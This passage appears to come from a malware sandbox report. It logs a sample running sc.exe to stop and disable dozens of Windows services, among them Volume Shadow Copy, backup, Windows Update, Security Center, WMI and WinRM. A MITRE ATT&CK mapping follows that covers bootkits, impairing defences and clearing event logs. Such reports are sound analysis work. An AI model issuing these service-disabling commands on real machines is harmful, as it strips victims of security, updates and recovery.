  - - C:\Windows\system32\sc.exe
      "sc" config vmicguestinterface start= disabled
      4⤵
      PID:2768
  - - C:\Windows\system32\sc.exe
      "sc" stop vmickvpexchange
      4⤵
      PID:4824
  - - C:\Windows\system32\sc.exe
      "sc" stop vmicrdv
      4⤵
      PID:2684
  - - C:\Windows\system32\sc.exe
      "sc" stop vmicshutdown
      4⤵
      PID:5136
  - - C:\Windows\system32\sc.exe
      "sc" config vmicheartbeat start= disabled
      4⤵
      Launches sc.exe
      PID:2744
  - - C:\Windows\system32\sc.exe
      "sc" stop vmictimesync
      4⤵
      PID:2500
  - - C:\Windows\system32\sc.exe
      "sc" stop vmicvmsession
      4⤵
      PID:2384
  - - C:\Windows\system32\sc.exe
      "sc" stop vmicvss
      4⤵
      PID:5360
  - - C:\Windows\system32\sc.exe
      "sc" config vmickvpexchange start= disabled
      4⤵
      PID:2204
  - - C:\Windows\system32\sc.exe
      "sc" config vmicshutdown start= disabled
      4⤵
      PID:3564
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2064
  - - C:\Windows\system32\sc.exe
      "sc" stop VSS
      4⤵
      PID:2592
  - - C:\Windows\system32\sc.exe
      "sc" config vmicrdv start= disabled
      4⤵
      PID:3504
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1116
  - - C:\Windows\system32\sc.exe
      "sc" stop WaaSMedicSvc
      4⤵
      PID:6104
  - - C:\Windows\system32\sc.exe
      "sc" config vmictimesync start= disabled
      4⤵
      PID:4060
  - - C:\Windows\system32\sc.exe
      "sc" config vmicvmsession start= disabled
      4⤵
      PID:5204
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1944
  - - C:\Windows\system32\sc.exe
      "sc" config vmicvss start= disabled
      4⤵
      PID:4856
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3876
  - - C:\Windows\system32\sc.exe
      "sc" stop WalletService
      4⤵
      PID:5348
  - - C:\Windows\system32\sc.exe
      "sc" stop WarpJITSvc
      4⤵
      PID:4980
  - - C:\Windows\system32\sc.exe
      "sc" config VSS start= disabled
      4⤵
      PID:5896
  - - C:\Windows\system32\sc.exe
      "sc" stop wbengine
      4⤵
      PID:5932
  - - C:\Windows\system32\sc.exe
      "sc" stop WbioSrvc
      4⤵
      PID:3516
  - - C:\Windows\system32\sc.exe
      "sc" config WaaSMedicSvc start= disabled
      4⤵
      PID:2852
  - - C:\Windows\system32\sc.exe
      "sc" stop Wcmsvc
      4⤵
      Launches sc.exe
      PID:856
  - - C:\Windows\system32\sc.exe
      "sc" stop wcncsvc
      4⤵
      PID:3164
  - - C:\Windows\system32\sc.exe
      "sc" config WalletService start= disabled
      4⤵
      PID:2036
  - - C:\Windows\system32\sc.exe
      "sc" config WarpJITSvc start= disabled
      4⤵
      PID:3036
  - - C:\Windows\system32\sc.exe
      "sc" stop WdiServiceHost
      4⤵
      PID:4976
  - - C:\Windows\system32\sc.exe
      "sc" config WbioSrvc start= disabled
      4⤵
      PID:4968
  - - C:\Windows\system32\sc.exe
      "sc" config wbengine start= disabled
      4⤵
      PID:5792
  - - C:\Windows\system32\sc.exe
      "sc" stop WdiSystemHost
      4⤵
      PID:1140
  - - C:\Windows\system32\sc.exe
      "sc" config Wcmsvc start= disabled
      4⤵
      PID:5508
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5104
  - - C:\Windows\system32\sc.exe
      "sc" config wcncsvc start= disabled
      4⤵
      Launches sc.exe
      PID:1244
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2196
  - - C:\Windows\system32\sc.exe
      "sc" stop WebClient
      4⤵
      Launches sc.exe
      PID:2872
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2156
  - - C:\Windows\system32\sc.exe
      "sc" stop Wecsvc
      4⤵
      PID:4108
  - - C:\Windows\system32\sc.exe
      "sc" config WdiServiceHost start= disabled
      4⤵
      PID:1768
  - - C:\Windows\system32\sc.exe
      "sc" stop WEPHOSTSVC
      4⤵
      PID:5408
  - - C:\Windows\system32\sc.exe
      "sc" stop wercplsupport
      4⤵
      PID:3980
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5324
  - - C:\Windows\system32\sc.exe
      "sc" stop WerSvc
      4⤵
      PID:1532
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4516
  - - C:\Windows\system32\sc.exe
      "sc" config WdiSystemHost start= disabled
      4⤵
      PID:2416
  - - C:\Windows\system32\sc.exe
      "sc" config Wecsvc start= disabled
      4⤵
      Launches sc.exe
      PID:5532
  - - C:\Windows\system32\sc.exe
      "sc" stop WFDSConMgrSvc
      4⤵
      PID:3692
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1256
  - - C:\Windows\system32\sc.exe
      "sc" config WebClient start= disabled
      4⤵
      Launches sc.exe
      PID:5260
  - - C:\Windows\system32\sc.exe
      "sc" config WEPHOSTSVC start= disabled
      4⤵
      PID:1076
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1064
  - - C:\Windows\system32\sc.exe
      "sc" stop WiaRpc
      4⤵
      PID:1236
  - - C:\Windows\system32\sc.exe
      "sc" config wercplsupport start= disabled
      4⤵
      Launches sc.exe
      PID:4540
  - - C:\Windows\system32\sc.exe
      "sc" config WerSvc start= disabled
      4⤵
      PID:6060
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2056
  - - C:\Windows\system32\sc.exe
      "sc" stop WinHttpAutoProxySvc
      4⤵
      PID:5944
  - - C:\Windows\system32\sc.exe
      "sc" stop Winmgmt
      4⤵
      PID:1384
  - - C:\Windows\system32\sc.exe
      "sc" stop WinRM
      4⤵
      PID:3324
  - - C:\Windows\system32\sc.exe
      "sc" stop wisvc
      4⤵
      PID:3256
  - - C:\Windows\system32\sc.exe
      "sc" config WiaRpc start= disabled
      4⤵
      PID:1148
  - - C:\Windows\system32\sc.exe
      "sc" stop WlanSvc
      4⤵
      PID:3236
  - - C:\Windows\system32\sc.exe
      "sc" config WFDSConMgrSvc start= disabled
      4⤵
      PID:6020
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:216
  - - C:\Windows\system32\sc.exe
      "sc" stop wlidsvc
      4⤵
      PID:1852
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4104
  - - C:\Windows\system32\sc.exe
      "sc" config WinHttpAutoProxySvc start= disabled
      4⤵
      PID:3160
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4400
  - - C:\Windows\system32\sc.exe
      "sc" config wisvc start= disabled
      4⤵
      PID:4984
  - - C:\Windows\system32\sc.exe
      "sc" config WinRM start= disabled
      4⤵
      PID:1856
  - - C:\Windows\system32\sc.exe
      "sc" stop wlpasvc
      4⤵
      PID:116
  - - C:\Windows\system32\sc.exe
      "sc" config Winmgmt start= disabled
      4⤵
      PID:1004
  - - C:\Windows\system32\sc.exe
      "sc" config WlanSvc start= disabled
      4⤵
      PID:4068
  - - C:\Windows\system32\sc.exe
      "sc" stop WManSvc
      4⤵
      PID:6092
  - - C:\Windows\system32\sc.exe
      "sc" config wlidsvc start= disabled
      4⤵
      PID:5908
  - - C:\Windows\system32\sc.exe
      "sc" stop wmiApSrv
      4⤵
      Launches sc.exe
      PID:1664
  - - C:\Windows\system32\sc.exe
      "sc" stop WMPNetworkSvc
      4⤵
      PID:3932
  - - C:\Windows\system32\sc.exe
      "sc" stop workfolderssvc
      4⤵
      PID:4176
  - - C:\Windows\system32\sc.exe
      "sc" stop WpcMonSvc
      4⤵
      Launches sc.exe
      PID:3120
  - - C:\Windows\system32\sc.exe
      "sc" stop WPDBusEnum
      4⤵
      PID:4224
  - - C:\Windows\system32\sc.exe
      "sc" config wlpasvc start= disabled
      4⤵
      PID:1964
  - - C:\Windows\system32\sc.exe
      "sc" config WManSvc start= disabled
      4⤵
      PID:3052
  - - C:\Windows\system32\sc.exe
      "sc" stop WpnService
      4⤵
      PID:5096
  - - C:\Windows\system32\sc.exe
      "sc" config wmiApSrv start= disabled
      4⤵
      PID:3540
  - - C:\Windows\system32\sc.exe
      "sc" config WMPNetworkSvc start= disabled
      4⤵
      PID:2132
  - - C:\Windows\system32\sc.exe
      "sc" config WpcMonSvc start= disabled
      4⤵
      PID:3444
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4668
  - - C:\Windows\system32\sc.exe
      "sc" stop wscsvc
      4⤵
      PID:5540
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5144
  - - C:\Windows\system32\sc.exe
      "sc" config WPDBusEnum start= disabled
      4⤵
      PID:4416
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1152
  - - C:\Windows\system32\sc.exe
      "sc" stop WSearch
      4⤵
      PID:5536
  - - C:\Windows\system32\sc.exe
      "sc" config workfolderssvc start= disabled
      4⤵
      PID:4616
  - - C:\Windows\system32\sc.exe
      "sc" stop wuauserv
      4⤵
      PID:1044
  - - C:\Windows\system32\sc.exe
      "sc" stop WwanSvc
      4⤵
      PID:4496
  - - C:\Windows\system32\sc.exe
      "sc" config WpnService start= disabled
      4⤵
      PID:1796
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3320
  - - C:\Windows\system32\sc.exe
      "sc" config wscsvc start= disabled
      4⤵
      PID:2252
  - - C:\Windows\system32\sc.exe
      "sc" stop XblAuthManager
      4⤵
      PID:968
  - - C:\Windows\system32\sc.exe
      "sc" config WSearch start= disabled
      4⤵
      PID:5032
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5136
  - - C:\Windows\system32\sc.exe
      "sc" stop XblGameSave
      4⤵
      Launches sc.exe
      PID:6124
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5700
  - - C:\Windows\system32\sc.exe
      "sc" stop XboxGipSvc
      4⤵
      PID:2612
  - - C:\Windows\system32\sc.exe
      "sc" stop XboxNetApiSvc
      4⤵
      PID:1460
  - - C:\Windows\system32\sc.exe
      "sc" config wuauserv start= disabled
      4⤵
      PID:5132
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2080
  - - C:\Windows\system32\sc.exe
      "sc" config WwanSvc start= disabled
      4⤵
      PID:2904
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5280
  - - C:\Windows\system32\sc.exe
      "sc" stop AarSvc_223e6
      4⤵
      PID:6108
  - - C:\Windows\system32\sc.exe
      "sc" config XblAuthManager start= disabled
      4⤵
      Launches sc.exe
      PID:3564
  - - C:\Windows\system32\sc.exe
      "sc" stop BcastDVRUserService_223e6
      4⤵
      PID:5200
  - - C:\Windows\system32\sc.exe
      "sc" config XblGameSave start= disabled
      4⤵
      PID:4120
  - - C:\Windows\system32\sc.exe
      "sc" config XboxGipSvc start= disabled
      4⤵
      PID:2204
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2592
  - - C:\Windows\system32\sc.exe
      "sc" config XboxNetApiSvc start= disabled
      4⤵
      PID:3420
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3504
  - - C:\Windows\system32\sc.exe
      "sc" stop BluetoothUserService_223e6
      4⤵
      Launches sc.exe
      PID:3804
  - - C:\Windows\system32\sc.exe
      "sc" stop CaptureService_223e6
      4⤵
      PID:5416
  - - C:\Windows\system32\sc.exe
      "sc" stop cbdhsvc_223e6
      4⤵
      PID:1388
  - - C:\Windows\system32\sc.exe
      "sc" stop CDPUserSvc_223e6
      4⤵
      PID:1728
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1272
  - - C:\Windows\system32\sc.exe
      "sc" config BcastDVRUserService_223e6 start= disabled
      4⤵
      PID:5348
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1208
  - - C:\Windows\system32\sc.exe
      "sc" config AarSvc_223e6 start= disabled
      4⤵
      PID:2000
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5896
  - - C:\Windows\system32\sc.exe
      "sc" stop ConsentUxUserSvc_223e6
      4⤵
      PID:5608
  - - C:\Windows\system32\sc.exe
      "sc" stop CredentialEnrollmentManagerUserSvc_223e6
      4⤵
      PID:2948
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4788
  - - C:\Windows\system32\sc.exe
      "sc" config BluetoothUserService_223e6 start= disabled
      4⤵
      Launches sc.exe
      PID:2112
  - - C:\Windows\system32\sc.exe
      "sc" config CaptureService_223e6 start= disabled
      4⤵
      PID:2668
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1808
  - - C:\Windows\system32\sc.exe
      "sc" stop DeviceAssociationBrokerSvc_223e6
      4⤵
      PID:5724
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2036
  - - C:\Windows\system32\sc.exe
      "sc" config CDPUserSvc_223e6 start= disabled
      4⤵
      PID:1504
  - - C:\Windows\system32\sc.exe
      "sc" config cbdhsvc_223e6 start= disabled
      4⤵
      PID:4360
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4976
  - - C:\Windows\system32\sc.exe
      "sc" stop DevicePickerUserSvc_223e6
      4⤵
      Launches sc.exe
      PID:6096
  - - C:\Windows\system32\sc.exe
      "sc" config CredentialEnrollmentManagerUserSvc_223e6 start= disabled
      4⤵
      PID:6100
  - - C:\Windows\system32\sc.exe
      "sc" stop DevicesFlowUserSvc_223e6
      4⤵
      PID:4968
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1616
  - - C:\Windows\system32\sc.exe
      "sc" config ConsentUxUserSvc_223e6 start= disabled
      4⤵
      PID:2364
  - - C:\Windows\system32\sc.exe
      "sc" stop MessagingService_223e6
      4⤵
      Launches sc.exe
      PID:4000
  - - C:\Windows\system32\sc.exe
      "sc" config DeviceAssociationBrokerSvc_223e6 start= disabled
      4⤵
      PID:448
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3980
  - - C:\Windows\system32\sc.exe
      "sc" stop OneSyncSvc_223e6
      4⤵
      PID:1720
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3260
  - - C:\Windows\system32\sc.exe
      "sc" config DevicePickerUserSvc_223e6 start= disabled
      4⤵
      Launches sc.exe
      PID:2772
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1244
  - - C:\Windows\system32\sc.exe
      "sc" stop PrintWorkflowUserSvc_223e6
      4⤵
      PID:5972
  - - C:\Windows\system32\sc.exe
      "sc" stop PimIndexMaintenanceSvc_223e6
      4⤵
      Launches sc.exe
      PID:3904
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1768
  - - C:\Windows\system32\sc.exe
      "sc" stop UdkUserSvc_223e6
      4⤵
      PID:1620
  - - C:\Windows\system32\sc.exe
      "sc" config DevicesFlowUserSvc_223e6 start= disabled
      4⤵
      PID:2260
  - - C:\Windows\system32\sc.exe
      "sc" config MessagingService_223e6 start= disabled
      4⤵
      PID:1788
  - - C:\Windows\system32\sc.exe
      "sc" stop UnistoreSvc_223e6
      4⤵
      PID:4952
  - - C:\Windows\system32\sc.exe
      "sc" config OneSyncSvc_223e6 start= disabled
      4⤵
      PID:5640
  - - C:\Windows\system32\sc.exe
      "sc" config PrintWorkflowUserSvc_223e6 start= disabled
      4⤵
      PID:1080
  - - C:\Windows\system32\sc.exe
      "sc" config UdkUserSvc_223e6 start= disabled
      4⤵
      PID:2188
  - - C:\Windows\system32\sc.exe
      "sc" stop UserDataSvc_223e6
      4⤵
      PID:3684
  - - C:\Windows\system32\sc.exe
      "sc" stop WpnUserService_223e6
      4⤵
      PID:3116
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3424
  - - C:\Windows\system32\sc.exe
      "sc" config PimIndexMaintenanceSvc_223e6 start= disabled
      4⤵
      Launches sc.exe
      PID:1892
  - - C:\Windows\system32\sc.exe
      "sc" config UnistoreSvc_223e6 start= disabled
      4⤵
      Launches sc.exe
      PID:5260
  - - C:\Windows\system32\sc.exe
      "sc" config UserDataSvc_223e6 start= disabled
      4⤵
      PID:1132
  - - C:\Windows\system32\sc.exe
      "sc" config WpnUserService_223e6 start= disabled
      4⤵
      PID:5476
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1540

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:5516

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 1644 -s 700
1⤵
PID:3584

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Power Settings

T1653

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Indicator Removal

T1070

Clear Persistence

T1070.009

Clear Windows Event Logs

T1070.001

File Deletion

T1070.004

Modify Registry